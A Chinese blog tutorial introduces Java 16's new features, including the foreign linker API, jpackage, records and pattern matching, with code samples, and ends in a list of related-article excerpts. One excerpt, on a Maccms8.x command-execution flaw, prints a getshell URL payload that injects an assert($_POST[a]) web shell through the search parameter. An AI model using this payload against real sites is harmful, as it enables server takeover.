点赞再看,动力无限。Hello world : ) 微信搜「程序猿阿朗 」。

本文 Github.com/niumoo/JavaNotes程序猿阿朗博客 已经收录,有很多知识点和系列文章。

Java 16 在 2021 年 3 月 16 日正式发布,不是长久支持版本,这次更新没有带来很多语法上的改动,但是也带来了不少新的实用功能。

OpenJDK Java 16 下载:https://jdk.java.net/archive/

OpenJDK Java 16 文档:https://openjdk.java.net/projects/jdk/16/

此文章属于Java 新特性教程 系列,会介绍 Java 每个版本的新功能,可以点击浏览。

1. JEP 347: 启用 C++ 14 语言特性

这项更新和 Java 开发者关系不太密切,JEP 347 允许 在 JDK 的 C++ 源码中使用 C++ 14 的语言特性,并且给出了哪些特性可以在 HotSpot 代码中使用的具体说明。

扩展阅读:启用 C++ 14 语言特性

2. JEP 357:从 Mercurial 迁移到 Git

在此之前,OpenJDK 源代码是使用版本管理工具 Mercurial 进行管理的,你也可以在 http://hg.openjdk.java.net/ 查看 OpenJDK 的源代码历史版本。

但是现在迁移到了 GIt ,主要原因如下:

  1. Mercurial 生成的版本控制元数据过大。
  2. Mercurial 相关的开发工具比较少,而 Git 几乎在所有的主流 IDE 中已经无缝集成。
  3. Mercurial 相关的服务比较少,无论是自建托管,还是服务托管。

为了优雅的迁移到 Git,OpenJDK 做了如下操作。

  1. 将所有的单存储库 OpenJDK 项目从 Mercurial 迁移到 Git。
  2. 保留所有的版本控制历史,也包括 Tag。
  3. 根据 Git 的最佳实践重新格式化提交的消息。
  4. 创建了一个工具用来在 Mercurial 和 Git 哈希之间进行转换。

扩展阅读: 从 Mercurial 迁移到 Git

3. JEP 369:迁移到 GitHub

和 JEP 357 从 Mercurial 迁移到 Git 的改变一致,在把版本管理迁移到 Git 之后,选择了在 GitHub 上托管 OpenJDK 社区的 Git 仓库。不过只对 JDK 11 以及更高版本 JDK 进行了迁移。

4. JEP 376:ZGC 并发线程堆栈处理

这次改动让 ZGC 线程堆栈处理从安全点(Safepoints)移动到并发阶段。

如果你忘记了什么是 Safepoints,可以复习一下。

我们都知道,在之前,需要 GC 的时候,为了进行垃圾回收,需要所有的线程都暂停下来,这个暂停的时间我们成为 Stop The World

而为了实现 STW 这个操作, JVM 需要为每个线程选择一个点停止运行,这个点就叫做安全点(Safepoints)

扩展阅读:JEP 376:ZGC 并发线程堆栈处理

5. JEP 380:Unix 域套接字通道

添加 UnixDomainSocketAddress.java 类用于支持 Unix 域套接字通道。

添加 Unix-domain socket 到 SocketChannel 和 ServerSocketChannel API 中。

添加枚举信息 java.net.StandardProtocolFamily.UNIX。

6. JEP 386:移植 Alpine Linux

Apine Linux 是一个独立的、非商业的 Linux 发行版,它十分的小,一个容器需要不超过 8MB 的空间,最小安装到磁盘只需要大约 130MB 存储空间,并且十分的简单,同时兼顾了安全性。

此提案将 JDK 移植到了 Apline Linux,由于 Apline Linux 是基于 musl lib 的轻量级 Linux 发行版,因此其他 x64 和 AArch64 架构上使用 musl lib 的 Linux 发行版也适用。

扩展阅读:JEP 386: Alpine Linux Port

7. JEP 387:更好的 Metaspace

自从引入了 Metaspace 以来,根据反馈,Metaspace 经常占用过多的堆外内存,从而导致内存浪费,现在可以更及时地将未使用的 HotSpot class-metaspace 内存返还给操作系统,从而减少 Metaspace 的占用空间,并优化了 Metaspace 代码以降低后续的维护成本。

8. JEP 388:移植 Windows/AArch64

将 JDK 移植到 Windows/AArch64 架构上,Windows/AArch64 已经是终端用户市场的热门需求。

9. JEP 389:外部连接器 API(孵化)

这项提案让 Java 代码可以调用由其他语言(比如 C ,C++)编写的编译后的机器代码,替换了之前的 JNI 形式。

不过这还是一个孵化中的功能,运行时需要添加 --add-modules jdk.incubator.foreign 参数来编译和运行 Java 代码。

下面是一个调用 C 语言函数方法,然后输出运行结果的例子。

  1. 编写一个 C 函数打印一个 "hello www.wdbyte.com"。
#include <stdio.h>

void printHello(){
printf("hello www.wdbyte.com\n");
}
  1. 将上面的代码编译,然后输出到共享库 hello.so
$ gcc -c -fPIC hello.c
$ gcc -shared -o hello.so hello.o
$ ll
total 128
-rw-r--r-- 1 darcy staff 76B 10 28 19:46 hello.c
-rw-r--r-- 1 darcy staff 776B 10 28 19:46 hello.o
-rwxr-xr-x 1 darcy staff 48K 10 28 19:47 hello.so
  1. 编写一个 Java 代码,调用 hello.so 的 printHello 方法。
import jdk.incubator.foreign.CLinker;
import jdk.incubator.foreign.FunctionDescriptor;
import jdk.incubator.foreign.LibraryLookup; import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodType;
import java.nio.file.Path;
import java.util.Optional; public class JEP389 { public static void main(String[] args) throws Throwable { Path path = Path.of("/Users/darcy/git/java-core/java-16/src/com/wdbyte/hello.so"); LibraryLookup libraryLookup = LibraryLookup.ofPath(path); Optional<LibraryLookup.Symbol> optionalSymbol = libraryLookup.lookup("printHello");
if (optionalSymbol.isPresent()) { LibraryLookup.Symbol symbol = optionalSymbol.get(); FunctionDescriptor functionDescriptor = FunctionDescriptor.ofVoid(); MethodType methodType = MethodType.methodType(Void.TYPE); MethodHandle methodHandle = CLinker.getInstance().downcallHandle(
symbol.address(),
methodType,
functionDescriptor);
methodHandle.invokeExact(); } }
}
  1. Java 代码编译。
$ javac --add-modules jdk.incubator.foreign JEP389.java
警告: 使用 incubating 模块: jdk.incubator.foreign
1 个警告
  1. Java 代码执行。
$ java --add-modules  jdk.incubator.foreign -Dforeign.restricted=permit JEP389.java
WARNING: Using incubator modules: jdk.incubator.foreign
警告: 使用 incubating 模块: jdk.incubator.foreign
1 个警告
hello www.wdbyte.com

扩展阅读: JEP 389:外部链接器 API(孵化器)

10. JEP 390:基于值的类的警告

添加了一个注解,用于标识当前是是基于值的类,比如 Java 8 引入的预防空指针的 Optional 类,现在已经添加了注解标识。

@jdk.internal.ValueBased
public final class Optional<T> {
// ...
}

扩展阅读:基于值的类的警告

11. JEP 392:打包工具

在 Java 14 中,JEP 343 引入了打包工具,命令是 jpackage,在 Java 14 新功能文章里也做了介绍:

使用 jpackage 命令可以把 JAR 包打包成不同操作系统支持的软件格式。

jpackage --name myapp --input lib --main-jar main.jar --main-class myapp.Main

常见平台格式如下:

  1. Linux: deb and rpm
  2. macOS: pkg and dmg
  3. Windows: msi and exe

要注意的是,jpackage 不支持交叉编译,也就是说在 windows 平台上是不能打包成 macOS 或者 Linux 系统的软件格式的。

在 Java 15 中,继续孵化,现在在 Java 16 中,终于成为了正式功能。

下面是一个例子,把一个简单的 Java Swing 程序打包成当前操作系统支持的软件格式,然后安装到当前电脑。

编写 Java 代码

import javax.swing.*;
import java.awt.*; public class JEP392 { public static void main(String[] args) {
JFrame frame = new JFrame("Hello World Java Swing");
frame.setMinimumSize(new Dimension(800, 600));
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
JLabel lblText = new JLabel("Hello World!", SwingConstants.CENTER);
frame.getContentPane().add(lblText);
frame.pack();
frame.setVisible(true); }
}

编译后,创建一个 JAR 文件。

$ javac JEP392.java
$ java JEP392.java
$ jar cvf JEP392.jar JEP392.class

将生成的 JEP392.jar 打包到符合当前平台的软件包中。

$ ~/develop/jdk-16.0.1.jdk/Contents/Home/bin/jpackage -i . -n JEP392 --main-jar hello.jar --main-class JEP392
$ ll
-rw-r--r--@ 1 darcy staff 50M 10 28 20:34 JEP392-1.0.dmg
-rw-r--r-- 1 darcy staff 864B 10 28 20:22 JEP392.class
-rw-r--r-- 1 darcy staff 1.0K 10 28 20:30 JEP392.jar
-rw-r--r-- 1 darcy staff 588B 10 28 20:22 JEP392.java

ll 后显示的 JEP392-1.0.dmg(我用的 MacOS ,所以格式是 dmg)就是打包后的结果。

双击这个文件后可以像 mac 软件一样安装。其他平台类似。

安装后可以在启动台启动。

不同的系统安装位置不同:

  • Linux: /opt
  • MacOS : /Applications
  • Windows: C:\Program Files\

扩展阅读:JEP 392:打包工具

12. JEP 393:外部内存访问(第三次孵化)

此提案旨在引入新的 API 以允许 Java 程序安全有效的访问 Java 堆之外的内存。相关提案早在 Java 14 的时候就已经提出了,在 Java 15 中重新孵化,现在在 Java 16 中再次孵化。

此提案的目标如下:

  1. 通用:单个 API 应该能够对各种外部内存(如本机内存、持久内存、堆内存等)进行操作。
  2. 安全:无论操作何种内存,API 都不应该破坏 JVM 的安全性。
  3. 控制:可以自由的选择如何释放内存(显式、隐式等)。
  4. 可用:如果需要访问外部内存,API 应该是 sun.misc.Unsafa.

扩展阅读:外部内存访问

13. JEP 394:instanceof 模式匹配

改进 instanceof 在 Java 14 中已经提出,在 Java 15 中继续预览,而现在,在 Java 16 中成为正式功能。

在之前,使用 instanceof 需要如下操作:

if (obj instanceof String) {
String s = (String) obj; // grr...
...
}

多余的类型强制转换,而现在:

if (obj instanceof String s) {
// Let pattern matching do the work!
...
}

扩展阅读:Java 14 新特性介绍 - instanceof

14. JEP 395:Records

Record 成为 Java 16 的正式功能,下面是介绍 Java 14 时关于 Record 的介绍。

record 是一种全新的类型,它本质上是一个 final 类,同时所有的属性都是 final 修饰,它会自动编译出 public get hashcodeequalstoString 等方法,减少了代码编写量。

示例:编写一个 Dog record 类,定义 name 和 age 属性。

package com.wdbyte;

public record Dog(String name, Integer age) {
}

Record 的使用。

package com.wdbyte;

public class Java14Record {

    public static void main(String[] args) {
Dog dog1 = new Dog("牧羊犬", 1);
Dog dog2 = new Dog("田园犬", 2);
Dog dog3 = new Dog("哈士奇", 3);
System.out.println(dog1);
System.out.println(dog2);
System.out.println(dog3);
}
}

输出结果:

Dog[name=牧羊犬, age=1]
Dog[name=田园犬, age=2]
Dog[name=哈士奇, age=3]

这个功能在 Java 15 中进行二次预览,在 Java 16 中正式发布。

15. JEP 396:默认强封装JDK内部

Java 9 JEP 261引入了 --illegal-access 控制内部 API 访问和 JDK 打包的选项。

此 JEP 将 --illegal-access 选项的默认模式从允许更改为拒绝。通过此更改,JDK的内部包和 API(关键内部 API除外)将不再默认打开。

该 JEP 的动机是阻止第三方库、框架和工具使用 JDK 的内部 API 和包,增加了安全性。

16. JEP 397:Sealed Classes(密封类)预览

Sealed Classes 再次预览,在 Java 15 新特性介绍文章里已经介绍过相关功能,并且给出了详细的使用演示,这里不再重复介绍。

下面是一段引用:

我们都知道,在 Java 中如果想让一个类不能被继承和修改,这时我们应该使用 final 关键字对类进行修饰。不过这种要么可以继承,要么不能继承的机制不够灵活,有些时候我们可能想让某个类可以被某些类型继承,但是又不能随意继承,是做不到的。Java 15 尝试解决这个问题,引入了 sealed 类,被 sealed 修饰的类可以指定子类。这样这个类就只能被指定的类继承。

而且 sealed 修饰的类的机制具有传递性,它的子类必须使用指定的关键字进行修饰,且只能是 final sealed non-sealed 三者之一。

扩展阅读:Java 15 新特性介绍

参考

  1. https://openjdk.java.net/projects/jdk/16/
  2. https://docs.oracle.com/en/java/javase/16/

<完>

Hello world : ) 我是阿朗,一线技术工具人,认认真真写文章。

点赞的个个都是人才,不仅长得帅气好看,说话还好听。

文章持续更新,可以关注公众号「程序猿阿朗 」或访问「程序猿阿朗博客](https://www.wdbyte.com) 」。

回复【资料】有我准备的各系列知识点和必看书籍。

本文 Github.com/niumoo/JavaNotes 已经收录,有很多知识点和系列文章,欢迎Star。

Java 16 新功能介绍的更多相关文章

  1. Java 17 新功能介绍(LTS)

    点赞再看,动力无限.Hello world : ) 微信搜「程序猿阿朗 」. 本文 Github.com/niumoo/JavaNotes 和 未读代码博客 已经收录,有很多知识点和系列文章. Jav ...

  2. Java 14 新功能介绍

    不做标题党,认认真真写个文章. 文章已经收录在 Github.com/niumoo/JavaNotes 和未读代码博客,点关注,不迷路. Java 14 早在 2019 年 9 月就已经发布,虽然不是 ...

  3. 超详细 Java 15 新功能介绍

    点赞再看,动力无限.微信搜「程序猿阿朗 」,认认真真写文章. 本文 Github.com/niumoo/JavaNotes 和 未读代码博客 已经收录,有很多知识点和系列文章. Java 15 在 2 ...

  4. Java 19 新功能介绍

    点赞再看,动力无限. 微信搜「程序猿阿朗 」. 本文 Github.com/niumoo/JavaNotes 和 未读代码博客 已经收录,有很多知识点和系列文章. Java 19 在2022 年 9 ...

  5. Java 18 新功能介绍

    文章持续更新,可以关注公众号程序猿阿朗或访问未读代码博客. 本文 Github.com/niumoo/JavaNotes 已经收录,欢迎Star. Java 18 在2022 年 3 月 22 日正式 ...

  6. CentOS以及Oracle数据库发展历史及各版本新功能介绍, 便于构造环境时有个对应关系

    CentOS版本历史 版本 CentOS版本号有两个部分,一个主要版本和一个次要版本,主要和次要版本号分别对应于RHEL的主要版本与更新包,CentOS采取从RHEL的源代码包来构建.例如CentOS ...

  7. Java 11 新特性介绍

    Java 11 已于 2018 年 9 月 25 日正式发布,之前在Java 10 新特性介绍中介绍过,为了加快的版本迭代.跟进社区反馈,Java 的版本发布周期调整为每六个月一次——即每半年发布一个 ...

  8. Java 12 新特性介绍,快来补一补

    Java 12 早在 2019 年 3 月 19 日发布,它不是一个长久支持(LTS)版本.在这之前我们已经介绍过其他版本的新特性,如果需要可以点击下面的链接进行阅读. Java 11 新特性介绍 J ...

  9. 原创开源项目HierarchyViewer for iOS 2.1 Beta新功能介绍

    回顾 HierarchyViewer for iOS是我们发布的一个开源项目,采用GPL v3.0协议. HierarchyViewer for iOS可以帮助iOS应用的开发和测试人员,在没有源代码 ...

随机推荐

  1. CodeForce-811C Vladik and Memorable Trip(动态规划)

    Vladik and Memorable Trip CodeForces - 811C 有一个长度为 n 的数列,其中第 i 项为 ai. 现在需要你从这个数列中选出一些互不相交的区间,并且保证整个数 ...

  2. mysql数据库备份参数

    我用来实现自动全备份的脚本(可以满足一般有前后版本兼容要求的导出导入操作,我的字符集是latin1): mysqldump.exe -umyusername -pmypass -h localhost ...

  3. CURL的模拟登录和抓取页面

    <?php $curl = curl_init();// 初始化 // 准备提交的表单数据之账号和密码.(这个是根据表单选项来的) $data = "_username=6049892 ...

  4. [转载]CentOS 7安装配置Samba服务器

    假设我们有这样一个场景 共享名路径权限SHAREDOC/smb/docs所有人员包括来宾均可以访问RDDOCS/smb/tech仅允许特定组的用户进行读写访问 特定组的组名为RD,目前的Alice.J ...

  5. NetCore5实现https请求

    前言 本文主要介绍在NetCore5中,实现证书加载和https访问请求. 证书准备 首先我们先创建一个自定义的证书Kiba518.pfx. 证书创建参考:最通俗易懂的RSA加密解密指导. 然后将证书 ...

  6. 鸿蒙内核源码分析(中断概念篇) | 海公公的日常工作 | 百篇博客分析OpenHarmony源码 | v43.02

    百篇博客系列篇.本篇为: v43.xx 鸿蒙内核源码分析(中断概念篇) | 海公公的日常工作 | 51.c.h .o 硬件架构相关篇为: v22.xx 鸿蒙内核源码分析(汇编基础篇) | CPU在哪里 ...

  7. 分享一下我的Python自学历程,分享下我自己学习方法

    其实关于编程这事儿没有接触的那么早,大一的时候没什么关注点,有一门课是vb,一天天的,就抄抄作业啥的就完事儿了.当时也觉的自己不是学编程的料,想着以后估摸也不会干开发相关的工作. 我的自学历程 阴差阳 ...

  8. Qt和JavaScript使用QWebChannel交互一——和Qt内嵌网页交互

    Qt和JavaScript使用QWebChannel交互一--和Qt内嵌网页交互 目录 Qt和JavaScript使用QWebChannel交互一--和Qt内嵌网页交互 前言 一.效果 二.实现过程 ...

  9. Django+Nginx+Uwsgi(全网最全步骤工作原理流程与部署历程)

    一.必要前提 1.1 准备知识 django 一个基于python的开源web框架,请确保自己熟悉它的框架目录结构. uWSGI 一个基于自有的uwsgi协议.wsgi协议和http服务协议的web网 ...

  10. Maccms8.x(苹果cms)命令执行漏洞

    getshell payload(a): http://0-sec.org/index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A ...